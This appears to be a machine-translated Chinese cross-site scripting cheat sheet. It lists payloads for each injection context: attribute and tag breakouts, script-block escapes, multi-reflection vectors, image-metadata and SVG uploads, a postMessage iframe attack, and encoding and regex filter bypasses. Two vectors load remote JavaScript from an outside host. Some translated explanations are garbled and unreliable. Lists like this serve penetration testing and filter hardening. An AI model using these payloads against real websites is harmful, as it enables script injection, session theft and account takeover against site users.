当输入位于 HTML 标记或外部标记的属性值内时使用。
<svg onload=alert(1)>
"><svg onload=alert(1)>
当输入位于以下标签的打开/关闭之内或之间时使用:
<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> is
accordingly).
</tag><svg onload=alert(1)>
“></tag><svg onload=alert(1)>
当输入作为以下 HTML 标记属性的值时使用:href、src、data 或 action(也称为 formaction)。对于脚本标签中的 src,使用外部脚本调用 (URL) 或 “data:,alert(1)”。下面的第二个有效负载警报超出了 Webkit 浏览器的目标上下文。
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
当输入落在脚本块中、字符串分隔 值内和单个逻辑块内(如函数或条件(if、else 等))时,使用第一个或第二个有效负载。如果 引号用反斜杠转义,请使用第三个有效负载。
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
当输入位于脚本块中的任何位置时使用。
</script><svg onload=alert(1)
用于利用同一页面上的多次反射。
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
用于利用同一页面上的多次反射。
*/alert(1)”>’onload=”/*<svg/1=’
`-alert(1)”>’onload=”`<svg/1=’
*/</script>’>alert(1)/*<script/1=’
用于利用同一页面上的多个输入反射。
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
当上传文件的元数据反映在目标页面的某处时使用。它使用 命令行 exiftool 并且可以设置任何元数据字段。
brute@logic:~$ exiftool -Artist='”><svg onload=alert(1)>' xss.jpeg
用于在上传图像文件时在目标上创建存储的 XSS。将下面的内容保存 为“xss.svg”。
<svg xmlns=”http://www.w3.org/2000/svg” onload=”alert(1)”/>
当注入作为有效标记插入 DOM 而不是 反映在源代码中时,用于测试 XSS。它适用于脚本标签和其他向量 不起作用的情况。
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
当页面的 javascript 代码向页面中插入对 攻击者控制的 URL 的请求结果(注入)时使用。
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
反射后代码中某处有结束脚本标记 (</script>) 时使用。
<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
当 javascript 代码中的“window.addEventListener('message', ...)”中存在“消息”事件侦听器时使用, 无需检查来源。目标必须能够被框起来(根据上下文的 X-Frame 选项标头)。另存为 HTML 文件(或使用 data:text/html),提供 TARGET_URL 和INJECTION(XSS 向量或有效负载)。
<iframe src=TARGET_URL onload=”frames[0].postMessage(‘INJECTION’,’*’)”>
用于绕过区分大小写的过滤器。
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
未封闭的标签
在 HTML 注入中使用以避免基于低于 (<) 和大于 (>) 符号的过滤。 在输入反射后,它需要本机大于登录源代码。
<svg onload=alert(1)//
<svg onload=”alert(1)”
当应用程序以大写形式反映输入时使用。
<SVG ONLOAD=alert(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
当应用程序对输入执行双重解码时使用。
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
当不允许使用括号并且 一个简单的警告框就足够时,在 HTML 矢量或 javascript 注入中使用。 警报alert(1)没有字母字符的警报在不允许使用字母字符时使用。以下是警报alert(1)
[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']
('\141\154 \145\162\164\50\61\51')()
用于欺骗几个正则表达式 (regex) 过滤器。它可能与 以前的替代方案结合使用(上图)。根据上下文,最短选项“top”也可以替换为“window”、“parent”、“self”或“this”。
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[8680439..toString(30)](1)